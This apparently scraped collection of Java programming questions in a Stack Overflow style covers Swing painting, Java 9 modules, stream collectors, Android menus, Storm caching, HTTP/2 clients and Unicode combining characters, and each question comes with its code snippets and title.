12 ; private static final Icon ICON = createResizedIcon ( ( ImageIcon ) UIManager.getIcon ( `` OptionPane.errorIcon '' ) ) ; public static void main ( String [ ] args ) { javax.swing.SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { createUI ( ) ; } } ) ; } public static void createUI ( ) { final JFrame f = new JFrame ( `` FieldValidator '' ) ; final JComponent content = createContent ( ) ; f.add ( content ) ; f.pack ( ) ; f.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; f.setLocationRelativeTo ( null ) ; f.setVisible ( true ) ; } private static JComponent createContent ( ) { final LayerUI < JPanel > panelUI = new ValidationLayerUI ( ) ; // Number field . final JLabel numberLabel = new JLabel ( `` Number : '' ) ; final NumberFormat numberFormat = NumberFormat.getInstance ( ) ; final JFormattedTextField numberField = new JFormattedTextField ( numberFormat ) { /** * { @ inheritDoc } */ @ Override public void replaceSelection ( String content ) { super.replaceSelection ( content ) ; getParent ( ) .repaint ( ) ; } } ; numberField.setColumns ( 16 ) ; numberField.setFocusLostBehavior ( JFormattedTextField.PERSIST ) ; numberField.setValue ( 42 ) ; final int i = ( ICON_SIZE / 2 ) + ( ICON_SIZE % 2 ) ; final JPanel numberPanel = new JPanel ( ) ; numberPanel.add ( numberLabel ) ; final JPanel panel = new JPanel ( new GridBagLayout ( ) ) ; final GridBagConstraints constr = new GridBagConstraints ( ) ; constr.insets = new Insets ( i , i , i , i ) ; constr.weightx = 1 ; constr.weighty = 1 ; constr.fill = GridBagConstraints.BOTH ; panel.add ( numberField , constr ) ; numberPanel.add ( new JLayer < JPanel > ( panel , panelUI ) ) ; return numberPanel ; } //Icon resized to 12x12 private static Icon createResizedIcon ( ImageIcon anIcon ) { final BufferedImage result = new BufferedImage ( ICON_SIZE , ICON_SIZE , BufferedImage.TYPE_INT_ARGB ) ; final Graphics2D g = result.createGraphics ( ) ; g.setComposite ( AlphaComposite.Src ) ; g.setRenderingHint ( RenderingHints.KEY_INTERPOLATION , RenderingHints.VALUE_INTERPOLATION_BICUBIC ) ; g.drawImage ( anIcon.getImage ( ) , 0 , 0 , ICON_SIZE , ICON_SIZE , null ) ; g.dispose ( ) ; return new ImageIcon ( result ) ; } static class ValidationLayerUI extends LayerUI < JPanel > { @ Override public void paint ( Graphics g , JComponent c ) { super.paint ( g , c ) ; final JLayer jlayer = ( JLayer ) c ; final JPanel panel = ( JPanel ) jlayer.getView ( ) ; final JFormattedTextField ftf = ( JFormattedTextField ) panel.getComponent ( 0 ) ; if ( ! ftf.isEditValid ( ) ) { ICON.paintIcon ( panel , g , 0 , panel.getHeight ( ) - ICON.getIconHeight ( ) ) ; } } } }",Painting issue with JLayer and JPanel +Java,"In a class constructor , I am trying to use : I search the database and if the record exists , I use theObject generated by Hibernate Query.Why ca n't I use this ?",if ( theObject ! = null ) this = theObject ;,Usage of Java this keyword +Java,"I work on an open source project that is hosted on google code . I 'm using ant to create javadocs and I 'd like to have links to the source files . I understand I can use the linksource flag to javadoc to include the source in the resulting html , but this is n't what I really want . What I 'd prefer is to provide a link to the source file in google code 's svn browser . I suppose I could do a simple filter prior to running javadoc , but it 'd be even better if I could figure a way to do this right in javadoc . Ideally , I could have a property in my ant properties file likeand the javadoc command would add a line to each class 's html file : Any ideas ?",base.src.url=http : //code.google.com/p/myproject/source/browse/branches/1.2 < a href= '' http : //code.google.com/p/myproject/source/browse/branches/1.2/ [ package ] / [ classname ] .html '' > see source on google code < /a >,adding links in javadoc to source files on google code +Java,"I started to learn jigsaw java-9 feature and read some articles/video.I ca n't understand concept of optional dependencies ( requires static ) quote from article : When a module needs to be compiled against types from another module but does not want to depend on it at run time , it can use a requires static clause . If foo requires static bar , the module system behaves different at compile and run time : At compile time , bar must be present or there will be an error . During compilation bar is readable by foo . At run time , bar might be absent and that will cause neither error nor warning . If it is present , it is readable by foo.So I want to know couple of things : What the reason to make module dependable on another module during compile time but not in runtime ? any examples ? instruments like lombok ? Any analogs of optional dependencies in java prior java-9 ? P.S.I found one more explanation : quote from article : Sometimes we write code that references another module , but that users of our library will never want to use . For instance , we might write a utility function that pretty-prints our internal state when another logging module is present . But , not every consumer of our library will want this functionality , and they don ’ t want to include an extra logging library . In these cases , we want to use an optional dependency . By using the requires static directive , we create a compile-time-only dependency : But it is absolutely unclear for me . Could anyone explain it in a simple way ?",module my.module { requires static module.name ; },Why do we need requires static in java-9 module system ? +Java,"I am new to Java and I am trying to write a selection sort program.Below is my code : My input array is 6,4,9,3,1,7 . The sorted output should be 1,3,4,6,7,9But the output I am getting is : I am doing some small mistake which I am unable to figure out . Can anyone please help me fix it ?","public class SelectionSort { public static int a [ ] = { 6 , 4 , 9 , 3 , 1 , 7 } ; public static void main ( String [ ] args ) { int min , i , j ; for ( i = 0 ; i < a.length - 1 ; i++ ) { min = i ; for ( j = i + 1 ; j < a.length ; j++ ) { if ( a [ j ] < a [ min ] ) { min = j ; } if ( min ! = i ) { int temp = a [ i ] ; a [ i ] = a [ min ] ; a [ min ] = temp ; } } } for ( i = 0 ; i < a.length ; i++ ) { System.out.println ( `` a : `` + a [ i ] ) ; } } } a : 3a : 4a : 6a : 7a : 1a : 9",Selection Sort in Java produces incorrect results +Java,Consider the following code snippet in Java . I know that the statement temp [ index ] = index = 0 ; in the following code snippet is pretty much unacceptable but it may be necessary for some situations : It displays the following output on the console.I do not understand temp [ index ] = index = 0 ; .How does temp [ 1 ] contain 0 ? How does this assignment occur ?,"package arraypkg ; final public class Main { public static void main ( String ... args ) { int [ ] temp=new int [ ] { 4,3,2,1 } ; int index = 1 ; temp [ index ] = index = 0 ; System.out.println ( `` temp [ 0 ] = `` +temp [ 0 ] ) ; System.out.println ( `` temp [ 1 ] = `` +temp [ 1 ] ) ; } } temp [ 0 ] = 4temp [ 1 ] = 0",Chaining array assignment in Java +Java,"Since I use streams a great deal , some of them dealing with a large amount of data , I thought it would be a good idea to pre-allocate my collection-based collectors with an approximate size to prevent expensive reallocation as the collection grows . So I came up with this , and similar ones for other collection types : Used like thisMy concern is that the implementation of Collectors.toSet ( ) sets a Characteristics enum that Collectors.toCollection ( ) does not : Characteristics.UNORDERED . There is no convenient variation of Collectors.toCollection ( ) to set the desired characteristics beyond the default , and I ca n't copy the implementation of Collectors.toSet ( ) because of visibility issues . So , to set the UNORDERED characteristic I 'm forced to do something like this : So here are my questions : 1 . Is this my only option for creating an unordered collector for something as simple as a custom toSet ( ) 2 . If I want this to work ideally , is it necessary to apply the unordered characteristic ? I 've read a question on this forum where I learned that the unordered characteristic is no longer back-propagated into the Stream . Does it still serve a purpose ?","public static < T > Collector < T , ? , Set < T > > toSetSized ( int initialCapacity ) { return Collectors.toCollection ( ( ) - > new HashSet < > ( initialCapacity ) ) ; } Set < Foo > fooSet = myFooStream.collect ( toSetSized ( 100000 ) ) ; static < T > Collector < T , ? , Set < T > > toSetSized ( int initialCapacity ) { return Collector.of ( ( ) - > new HashSet < > ( initialCapacity ) , Set : :add , ( c1 , c2 ) - > { c1.addAll ( c2 ) ; return c1 ; } , new Collector.Characteristics [ ] { IDENTITY_FINISH , UNORDERED } ) ; }",Is it important to use Characteristics.UNORDERED in Collectors when possible ? +Java,"I want to make BottomNavigationView Menu in UpperCase , How can i do that without using 3rd party library ? Here is my xml code : And navigation.xml as follows :",< android.support.design.widget.BottomNavigationView android : id= '' @ +id/navigation '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : layout_gravity= '' bottom '' android : background= '' @ android : color/white '' android : foreground= '' ? attr/selectableItemBackground '' app : itemIconTint= '' @ color/bottom_nav_color '' app : itemTextColor= '' @ color/bottom_nav_color '' app : menu= '' @ menu/navigation '' / > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < menu xmlns : android= '' http : //schemas.android.com/apk/res/android '' > < item android : id= '' @ +id/navigation_home '' android : icon= '' @ drawable/home_icon '' android : title= '' @ string/title_home '' / > < item android : id= '' @ +id/navigation_deals '' android : icon= '' @ drawable/ic_deals '' android : title= '' @ string/deals '' / > < item android : id= '' @ +id/navigation_myBookings '' android : icon= '' @ drawable/ic_my_bookings '' android : title= '' @ string/title_my_bookings '' / > < item android : id= '' @ +id/navigation_more '' android : icon= '' @ drawable/ic_more '' android : title= '' @ string/title_more '' / > < /menu >,How to make BottomNavigationView Menu in Uppercase ? +Java,"I have the following API : I am now performing the following modification in my API implementationis replaced by : Do you consider this as an API breakage ? Client 's code will still compile but method contract defined by the API javadoc is no more respected since MyExcepiton is thrown by a `` new '' condition.If only my API jar file is updated , clients application will still work but depending on the way clients catch the exception the application behavior can change a lot.What 's your point of view on that ?",public interface MyApi { /** * Performs some stuff . * @ throws MyException if condition C1 */ public void method ( ) throws MyException ; } public class MyApiImpl { public void method ( ) throws MyException { if ( C1 ) { throw new MyException ( `` c1 message '' ) ; } ... } } public class MyApiImpl { public void method ( ) throws MyException { if ( C1 ) { throw new MyException ( `` c1 message '' ) ; } else if ( c2 ) { throw new MyException ( `` c2 message '' ) ; } ... } },Java API break +Java,"Lets suppose the following scenarios with 2 ANTLR grammars:1 ) 2 ) In both cases I need to know how to iterate over antExp+ and T* , because I need to generate an ArrayList of each element of them . Of course my grammar is more complex , but I think that this example should explain what I 'm needing . Thank you !",expr : antExp+ ; antExpr : ' { ' T ' } ' ; T : 'foo ' ; expr : antExpr ; antExpr : ' { ' T* ' } ' ; T : 'bar ' ;,How to iterate over a production in ANTLR +Java,"I have an class A with multiple List members.And a class B with just 2 attributes : I need to iterate through the various lists in class A and create class B object and add to a list like this : As the if and for loops are repeated here.How can I achieve this using Java streams ? Note : There is no relation between the classes X , Y and Z and there is no common interface .","class A { List < X > xList ; List < Y > yList ; List < Z > zList ; // getters and setters } class X { String desc ; String xtype ; // getters and setters } class Y { String name ; String ytype ; //getters and setters } class Z { String description ; String ztype ; // getters and setters } class B { String name ; String type ; } public void convertList ( A a ) { List < B > b = new ArrayList < > ( ) ; if ( ! a.getXList ( ) .isEmpty ( ) ) { for ( final X x : a.getXList ( ) ) { b.add ( new B ( x.getDesc ( ) , x.getXType ( ) ) ) ; } } if ( ! a.getYList ( ) .isEmpty ( ) ) { for ( final Y y : a.getYList ( ) ) { b.add ( new B ( y.getName ( ) , y.getYType ( ) ) ) ; } } if ( ! a.getZList ( ) .isEmpty ( ) ) { for ( final Z z : a.getZList ( ) ) { b.add ( new B ( z.getDescription ( ) , z.getZType ( ) ) ) ; } } }",How to convert multiple list into single list using Java streams ? +Java,"Why StringBuilder does not print what it should print in a small codeIn the last statement executed in setFin ( ) ( in the finally block ) I have assigned null to builder , but my code prints `` In finally '' and then `` JohnIbrahim '' . Can anybody explain to me what is going on here ?",public final class Test1 { public void test ( ) { System.out.println ( setFin ( ) .toString ( ) ) ; } protected StringBuilder setFin ( ) { StringBuilder builder = new StringBuilder ( ) ; try { builder.append ( `` John '' ) ; return builder.append ( `` Ibrahim '' ) ; } finally { System.out.println ( `` In finaly '' ) ; // builder.append ( `` -DarElBeida '' ) ; builder = null ; } } public static void main ( String args [ ] ) { new Test1 ( ) .test ( ) ; } },Why StringBuilder does not print ? +Java,"Assume we have a code we 'd like to test : Now assume we have 2 unit tests placed within a single class.The 1st one `` test everything '' while the 2nd one `` does nothing '' : This is an IRL example : I 've seen dozens of tests `` fixed '' by replacing the test contents with some useless code , as the contract of code being tested changes over time.Now , PIT `` entry '' unit is a class containing test methods ( not an individual test metod itself ) , so in the above case PIT will not only show 100 % line coverage , but also 100 % mutation coverage.Okay , I 'm relieved to know I have 100 % mutation coverage , but how do I identify a useless test -- testDoSmth2 ( ) in the above case ( provided my mutation coverage is high ) ?","class C { int doSmth ( ) { return 1 ; } } @ RunWith ( JUnit4.class ) public final class CTest { @ Test @ SuppressWarnings ( `` static-method '' ) public void testDoSmth ( ) { assertEquals ( 1 , new C ( ) .doSmth ( ) ) ; } @ Test @ SuppressWarnings ( `` static-method '' ) public void testDoSmth2 ( ) throws Exception { Thread.sleep ( 1000 ) ; } }",Finding useless unit tests with PIT +Java,I am using freeTTS library for converting text to speech . I am able to program my code using this library where i can play the speech for a particular text using following code : Is there a way using which i can get a callback when the tts lib has completed the speak process ?,Voice voice = VoiceManager.getInstance ( ) .getVoice ( `` kevin16 '' ) ; if ( voice ! = null ) { voice.allocate ( ) ; } voice.speak ( `` Hello world '' ) ;,Detect end of Speak in freeTTS for java +Java,"If I have , for instance , an interface like this : Is there a way to take a class-level method reference like FooBar : :bar and get an instance method reference ? ie . if I haveis there any simple way to get a Function < A , B > instance that would match what I 'd get if I defined","public interface FooBar < A , B > { B foo ( A a ) ; B bar ( A a ) ; } FooBar myFooBarInstance ; BiFunction < FooBar < A , B > , A , B > barFunction = FooBar : :bar ; Function < A , B > myBarFunction = myFooBarInstance : :bar ;",Java8 : Is there a way to get an instance method reference from a class method reference ? +Java,"I am trying to cache some data in storm bolt , but not sure if this is right way to do it or not . In below class employee id and employe name are cached to a hash map . For this a database call has been made to Employee table to select all employees and populate a hash map in prepare method ( is this right place to initialize map ? ) . After some logging it turns out ( while running storm topology ) , topology is making multiple database connections and initializing map multiple times . Ofcourse I want to avoid this , that is why I want to cache the result so that it does not go to database everytime . Please help ? SOLUTIONI created synchronized map and its working fine for me","public class TestBolt extends BaseRichBolt { private static final long serialVersionUID = 2946379346389650348L ; private OutputCollector collector ; private Map < String , String > employeeIdToNameMap ; private static final Logger LOG = Logger.getLogger ( TestBolt.class ) ; @ Override public void execute ( Tuple tuple ) { String employeeId = tuple.getStringByField ( `` employeeId '' ) ; String employeeName = employeeIdToNameMap.get ( employeeId ) ; collector.emit ( tuple , new Values ( employeeId , employeeName ) ) ; collector.ack ( tuple ) ; } @ Override public void prepare ( Map stormConf , TopologyContext context , OutputCollector collector ) { // TODO Auto-generated method stub this.collector = collector ; try { employeeIdToNameMap = createEmployeIdToNameMap ( ) ; } catch ( SQLException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } } @ Override public void declareOutputFields ( OutputFieldsDeclarer declarer ) { declarer.declare ( new Fields ( /*some fields*/ ) ) ; } private Map < String , String > createEmployeIdToNameMap ( ) throws SQLException { final Map < String , String > employeeIdToNameMap = new HashMap < > ( ) ; final DatabaseManager dbm = new PostgresManager ( ) ; final String query = `` select id , name from employee ; '' ; final Connection conn = dbm.createDefaultConnection ( ) ; final ResultSet result = dbm.executeSelectQuery ( conn , query ) ; while ( result.next ( ) ) { String employeId = result.getString ( `` id '' ) ; String name = result.getString ( `` name '' ) ; employeeIdToNameMap.put ( employeId , name ) ; } conn.close ( ) ; return employeeIdToNameMap ; } } private static Map < String , String > employeeIdToNameMap = Collections .synchronizedMap ( new HashMap < String , String > ( ) ) ;",Caching in storm bolts +Java,"I would like to ask about the following piece of code related to Functional Interfaces.I am confused by : Is it creating a Rideable ( interface ) or Car ( class ) instance ? If it is creating a Car object , the constructor new Car ( ) ( i.e . with no arguments ) should be not existing , then how come this can be valid ? I Have been reading through this tutorial , but still could not figure it out .",Rideable rider = Car : : new @ FunctionalInterface interface Rideable { Car getCar ( String name ) ; } class Car { private String name ; public Car ( String name ) { this.name = name ; } } public class Test { public static void main ( String [ ] args ) { Rideable rider = Car : : new ; Car vehicle = rider.getCar ( `` MyCar '' ) ; } },Java8 : About Functional Interface +Java,"This is the implementation of the java.util.stream.Collectors class 's toSet ( ) method : As we can see , it uses a HashSet and calls add . From the HashSet documentation , `` It makes no guarantees as to the iteration order of the set ; in particular , it does not guarantee that the order will remain constant over time . `` In the following code , a List of String is streamed , sorted and collected into a Set : This provides the output : class java.util.HashSet [ a , b , c ] The output is sorted . What I think is happening here is that although the contract provided by the HashSet documentation specifies that ordering is not something it provides , the implementation happens to add in order . I suppose this could change in future versions / vary between JVMs and that a wiser approach would be to do something like Collectors.toCollection ( TreeSet : :new ) .Can sorted ( ) be relied upon when calling Collectors.toSet ( ) ? Additionally , what exactly does `` it does not guarantee that the order will remain constant over time '' mean ? ( I suppose add , remove , the resizing of the underlying array ? )","public static < T > Collector < T , ? , Set < T > > toSet ( ) { return new CollectorImpl < > ( ( Supplier < Set < T > > ) HashSet : :new , Set : :add , ( left , right ) - > { left.addAll ( right ) ; return left ; } , CH_UNORDERED_ID ) ; } public static void main ( String [ ] args ) { Set < String > strings = Arrays.asList ( `` c '' , `` a '' , `` b '' ) .stream ( ) .sorted ( ) .collect ( Collectors.toSet ( ) ) ; System.out.println ( strings.getClass ( ) ) ; System.out.println ( strings ) ; }","Using the Java 8 Streams API , can sorted ( ) be relied upon when calling Collectors.toSet ( ) ?" +Java,"I have the following 3 files , A.java : C.java : D.java : I was expecting the last line in D.java to output 8 , however I get this error : error : incompatible types : bad return type in lambda expression return Arrays.stream ( d ) .reduce ( ( e , f ) - > e.getB ( ) + f.getB ( ) ) .get ( ) ; ^ float can not be converted to AWhy does this happen ? I do n't see where I 'm converting the floats to the object A .","class A { private float b ; public A ( float b ) { this.b = b ; } public float getB ( ) { return b ; } } import java.util.Arrays ; class C { private A [ ] d ; private int i = 0 ; public C ( ) { d = new A [ 2 ] ; } public float totalB ( ) { return Arrays.stream ( d ) .reduce ( ( e , f ) - > e.getB ( ) + f.getB ( ) ) .get ( ) ; } public void addB ( A b ) { d [ i++ ] = b ; } } class D { public static void main ( String [ ] args ) { C c = new C ( ) ; c.addB ( new A ( 3 ) ) ; c.addB ( new A ( 5 ) ) ; System.out.println ( c.totalB ( ) ) } }",Calling object methods within Arrays.reduce ( ... ) +Java,"I build a Java Restfull Web Service to be called by ionic apps running on Android Mobil devices.The code is successfully running on Android 4.4 Mobile.but not running on any other android mobile devices with os : android lollipop , marshmallow.webservices web.xmlRest webservice codeRest webservice dependenciesHere is Hybride Application using ionic and angularjs codeWhen i debug that using chrome on Android lollipop and marshmallow it gives me the following error : Please help me to fix this issue.I am using JAVA using Eclipse Mars.1","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < web-app xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns= '' http : //xmlns.jcp.org/xml/ns/javaee '' xsi : schemaLocation= '' http : //xmlns.jcp.org/xml/ns/javaee http : //xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd '' id= '' WebApp_ID '' version= '' 3.1 '' > < display-name > test < /display-name > < servlet > < servlet-name > Jersey REST Service < /servlet-name > < ! -- < servlet-class > com.sun.jersey.server.impl.container.servlet.ServletAdaptor < /servlet-class > -- > < servlet-class > com.sun.jersey.spi.container.servlet.ServletContainer < /servlet-class > < init-param > < param-name > com.sun.jersey.config.property.packages < /param-name > < param-value > test < /param-value > < /init-param > < load-on-startup > 1 < /load-on-startup > < /servlet > < servlet-mapping > < servlet-name > Jersey REST Service < /servlet-name > < url-pattern > /* < /url-pattern > < /servlet-mapping > < /web-app > package test ; import javax.ws.rs.Consumes ; import javax.ws.rs.POST ; import javax.ws.rs.Path ; @ Path ( `` /test '' ) public class test_Services { @ POST @ Consumes ( `` application/x-www-form-urlencoded '' ) @ Path ( `` /insertTest '' ) public String InsertTest ( String json ) { System.out.println ( `` POST JSON > > > > > > > > > > > > > '' +json ) ; return json.toString ( ) ; } } $ http ( { method : 'POST ' , url : 'http : //mapps.testlab.local:8080/test/test/insertTest ' , data : data , headers : { `` Content-Type '' : `` application/x-www-form-urlencoded '' } } ) .then ( function successCallback ( res ) { } , function errorCallback ( err ) { deferred.reject ( res.err ) ; } ) ; Failed to load resource : net : :ERR_NAME_NOT_RESOLVED",Java Restful Web Service running only Android 4.4 Mobile not other +Java,I 'm experimenting with HTTP/2 client from jdk 9-ea+171 . The code is taken from this example : But the client hangs on the last line forever . Please advice how to fix it ? Debugging shows it infinitely waits in method waitUntilPrefaceSent ( ) .,"HttpClient client = HttpClient.newHttpClient ( ) ; HttpRequest request = HttpRequest.newBuilder ( ) .uri ( new URI ( `` https : //www.google.com/ '' ) ) .build ( ) ; HttpResponse < String > response = client.send ( request , HttpResponse.BodyHandler.asString ( ) ) ;",Java 9 HttpClient hangs +Java,"Using this code : Why does the javac not give an unchecked cast warning ? Exception extends Throwable , so you can not just convert all Throwables to an Exception .",public class DowncastTest { public static void main ( String [ ] args ) { try { System.out.println ( 1 ) ; } catch ( Exception ex ) { Throwable cause = ex.getCause ( ) ; if ( cause ! = null ) { Exception exCause = ( Exception ) cause ; System.out.println ( exCause ) ; } } } },Why is no unchecked cast warning given when downcasting Throwable to Exception ? +Java,"In the context of the comments and answers given at List.of ( ) or Collections.emptyList ( ) and List.of ( ... ) or Collections.unmodifiableList ( ) I came up with two following rules of thumb ( which also apply to Set and Map factories accordingly ) .Do n't replace all occurrencesKeep using Collections.emptyList ( ) for readability and when e.g . initializing lazy field members like : Use new factories as method argument buildersUse new factories List.of ( ) and variants as quick and less-to-type version , when calling an executable with List parameter ( s ) . Here are my current substitution patterns : In a fictional usage of Collections.indexOfSubList , the following lineswill readDo you ( dis- ) agree ?","class Bean { private List < Bean > beans = Collection.emptyList ( ) ; public List < Bean > getBeans ( ) { if ( beans == Collections.EMPTY_LIST ) { beans = new ArrayList < > ( ) ; } return beans ; } } Collections.emptyList ( ) -- > List.of ( ) Collections.singletonList ( a ) -- > List.of ( a ) Arrays.asList ( a , ... , z ) -- > List.of ( a , ... , z ) Collections.indexOfSubList ( Arrays.asList ( 1 , 2 , 3 ) , Collections.emptyList ( ) ) ; Collections.indexOfSubList ( Arrays.asList ( 1 , 2 , 3 ) , Collections.singletonList ( 1 ) ) ; Collections.indexOfSubList ( Arrays.asList ( 1 , 2 , 3 ) , Arrays.asList ( 1 ) ) ; Collections.indexOfSubList ( Arrays.asList ( 1 , 2 , 3 ) , Arrays.asList ( 2 , 3 ) ) ; Collections.indexOfSubList ( Arrays.asList ( 1 , 2 , 3 ) , Arrays.asList ( 1 , 2 , 3 ) ) ; Collections.indexOfSubList ( List.of ( 1 , 2 , 3 ) , List.of ( ) ) ; Collections.indexOfSubList ( List.of ( 1 , 2 , 3 ) , List.of ( 1 ) ) ; Collections.indexOfSubList ( List.of ( 1 , 2 , 3 ) , List.of ( 1 ) ) ; Collections.indexOfSubList ( List.of ( 1 , 2 , 3 ) , List.of ( 2 , 3 ) ) ; Collections.indexOfSubList ( List.of ( 1 , 2 , 3 ) , List.of ( 1 , 2 , 3 ) ) ;",Usage of Java 9 collection factories +Java,"What is the difference between Python class attributes and Java static attributes ? For example , in Pythonin JavaIn Python , a static attribute can be accessed using a reference to an instance ?",class Example : attribute = 3 public class Example { private static int attribute ; },Static attributes ( Python vs Java ) +Java,"I have a String [ ] , originalStringArray , that has duplicates in them . So { `` dog '' , '' cat '' , '' dog '' , '' fish '' , '' dog '' , '' cat '' } . I wanted to make a function that only returns the strings that occur exactly a certain number of times . For here , if I said 3 , it would return `` dog '' but not `` cat '' . Here 's my current code : The problem I have is , I read somewhere that the Collections library is very slow and drag , and it also seems like that this method could be reduced using HashSets and tables . Unfortunately , I 'm kind of at a loss on how to do that . Is there a better way to do this ?","public ArrayList < String > returnMultiples ( String [ ] originalStringArray , int requiredCount ) { ArrayList < Integer > mCount = new ArrayList < > ( ) ; List < String > list = Arrays.asList ( originalStringArray ) ; ArrayList < String > result = new ArrayList < > ( ) ; // Count occurrences in original string for ( String item : originalStringArray ) { mCount.add ( Collections.frequency ( list , item ) ) ; } // If frequency is equal to count , add to array list for ( int i=0 ; i < mCount.size ( ) ; i++ ) { if ( mCount.get ( i ) == requiredCount ) { result.add ( originalStringArray [ i ] ) ; } } return result ; }",How to only return ArrayList of strings with minimum number of occurrences ? +Java,"I wrote a timer class . And I want to override its toString method . But when I call the toString method , it still returns the super implementation . ( fully qualified name of the class ) Here is my timer class : I can see that the text view 's text is the fully qualified name of the Timer class . I even tried this.toString but it does n't work either .","import android.os.Handler ; import android.widget.TextView ; public class Timer implements Comparable < Timer > { private Handler handler ; private boolean paused ; private TextView text ; private int minutes ; private int seconds ; private final Runnable timerTask = new Runnable ( ) { @ Override public void run ( ) { if ( ! paused ) { seconds++ ; if ( seconds > = 60 ) { seconds = 0 ; minutes++ ; } text.setText ( toString ( ) ) ; //Here I call the toString Timer.this.handler.postDelayed ( this , 1000 ) ; } } } ; //Here is the toString method , anything wrong ? @ Override public String toString ( ) { if ( Integer.toString ( seconds ) .length ( ) == 1 ) { return minutes + `` :0 '' + seconds ; } else { return minutes + `` : '' + seconds ; } } public void startTimer ( ) { paused = false ; handler.postDelayed ( timerTask , 1000 ) ; } public void stopTimer ( ) { paused = true ; } public void resetTimer ( ) { stopTimer ( ) ; minutes = 0 ; seconds = 0 ; text.setText ( toString ( ) ) ; //Here is another call } public Timer ( TextView text ) { this.text = text ; handler = new Handler ( ) ; } @ Override public int compareTo ( Timer another ) { int compareMinutes = ( ( Integer ) minutes ) .compareTo ( another.minutes ) ; if ( compareMinutes ! = 0 ) { return compareMinutes ; } return ( ( Integer ) seconds ) .compareTo ( another.seconds ) ; } }",Failed to override toString method +Java,"I have some function that can ( possibly ) produce StackOverflowError . Of course this is a sign of a bad design , but for now I decided to wrap it into the Try . The result I expect is Failure ( java.lang.StackOverflowError ) . The result I get is just java.lang.StackOverflowError . I suppose the problem is that StackOverflowError is not Exception , but an error . If it is , are there any ways to `` catch '' those kind of errors by using Try or some other monad ?",Try { Calculator.eval ( .. ) },Why does Scala Try not catching java.lang.StackOverflowError ? +Java,I need to require in an XSD . I can get XOR if I use < xs : choice > but I ca n't seem to get OR .,( firstName and lastName ) OR ( nameForDisplay ),Represent OR in XSD +Java,"I 'm developing a web application , which consists of two independent parts - the authentication and the real application part . Both parts are WARs which are deployed at ( currently ) one Tomcat 7 instance.So , I have the following two WARs in my webapps folder : until now they are available at http : //127.0.0.1:8080/BloggofanAuthentication and http : //127.0.0.1:8080/Bloggofant . Is it possible proxy the WARs at Tomcat directly ( so that I do n't have to use Apache httpd and its mod_proxy module ) ? So that in the end , the WARs at the server are reachable as follows : http : //127.0.0.1:8080/BloggofantAuthentication -- > http : //127.0.0.1/bloggo/http : //127.0.0.1:8080/Bloggofant -- > http : //127.0.0.1/bloggo/fant/Any suggestions on this topic are highly appreciated ; ) EDITHere are the context.xml files of the two unpacked webapp WAR folders : webapps/BloggofantAuthentication/META-INF/context.xmlwebapps/Bloggofant/META-INF/context.xmlIf I now want to access my apps via http : //127.0.0.1:8080 or http : //127.0.0.1:8080/bloggofant I get a 404 - Page Not Found error ...",webapps|+- BloggofantAuthentication|+- Bloggofant < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < Context path= '' '' > < ! -- Comment this to enable session persistence across Tomcat restarts -- > < Manager pathname= '' '' / > < /Context > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < Context path= '' /bloggofant '' > < ! -- Comment this to enable session persistence across Tomcat restarts -- > < Manager pathname= '' '' / > < /Context >,How to proxy different WARs in Tomcat 7 ? +Java,Is there a way to refer to any inner class ? I would like to specify a return type compatible with an inner class e.g.I understand this syntax is invalid . Is there a way to express this ? I know I ca n't use something like Class < ? extends OuterClass > because an inner class does n't extend an outer class .,Class < OuterClass . * > some_method ( ) ;,Class reference for a Java inner class +Java,"SonarLint 1.0.0 for Eclipse flags a critical issue in my code and I ca n't see why and how to fix it . It really looks like a false positive to me—or am I missing something ? Here 's an excerpt of the matching SonarLint rule description : When handling a caught exception , the original exception 's message and stack trace should be logged or passed forward . Noncompliant Code Example Compliant SolutionIn my opinion , my code qualifies for the first variant of the given compliant solutions , but SonarLint does not accept it.There was another discussion of Sonar rule S1166 a little while ago , but it 's not really about the same issue I have.Edit : In response to question below : I use log4j for logging . I expanded the code to reflect this .","import org.apache.log4j.Logger ; [ ... ] public final class Foo { private static final Logger logger = Logger.getLogger ( Foo.class ) ; [ ... ] public static void foo ( ) { MyCommand command = new MyCommand ( foo , bar ) ; try { commandService.executeCommand ( command ) ; } catch ( CommandException e ) { logger.error ( `` My command execution failed '' , e ) ; } } [ ... ] // Noncompliant - exception is losttry { /* ... */ } catch ( Exception e ) { LOGGER.info ( `` context '' ) ; } // Noncompliant - exception is lost ( only message is preserved ) try { /* ... */ } catch ( Exception e ) { LOGGER.info ( e.getMessage ( ) ) ; } // Noncompliant - exception is losttry { /* ... */ } catch ( Exception e ) { throw new RuntimeException ( `` context '' ) ; } try { /* ... */ } catch ( Exception e ) { LOGGER.info ( e ) ; } try { /* ... */ } catch ( Exception e ) { throw new RuntimeException ( e ) ; } try { /* ... */ } catch ( RuntimeException e ) { doSomething ( ) ; throw e ; } catch ( Exception e ) { // Conversion into unchecked exception is also allowed throw new RuntimeException ( e ) ; }",Is critical SonarLint issue S1166 in my Java code a false positive or not ? +Java,"I am working a list of file names in Java . I observe that some single characters in the file names , like a , ö and ü actually consist of a sequence you could describe as two single ASCII chars following up : ö is represented by o , ¨I see this by inspection with codePointAt ( ) . The German name `` Rölli '' is in fact `` Ro¨lli '' : The character ¨ in the log above has the value 776 , which is a `` Combining Diaeresis '' . This is a so called combining mark that belongs to the graphemes , or more precisely to the combining diacritics . So it all makes sense , but I do not understand what software component combines the two characters to one umlaut , and where this behavior is specified.It has nothing to do with the fact that powerful character code tables use several bytes as internal representation . Several bytes are not the same as two combining characters.Any simple print ( ) of the string shows me the combined character , so it is neither some UI layer above . I remember to have observed this also with PHP . I guess any modern language can handle this . What component causes combining characters to be displayed as single combined characters ? How reliable is all this ? Has Java a normalization method that makes single code points of combined code points , like here ? Would be a help for using Regex ... Thanks a lot for any hint .","... 20 : R , 8221 : o , 11122 : ̈ , 77623 : l , 10824 : l , 10825 : i , 105 ...",What component handles a Combining Diaeresis in a string ? +Java,"I have an ImageView of a Wheel that is spinning on Fling.How can I detect the final position of the wheel when the rotation is complete ? basically , similar to a wheel of fortune wheel , result depends on where the wheel stoppedIs there a way to detect when the fling/rotation is finished , then get the final angle ? I want to associate this angle with one of the 4 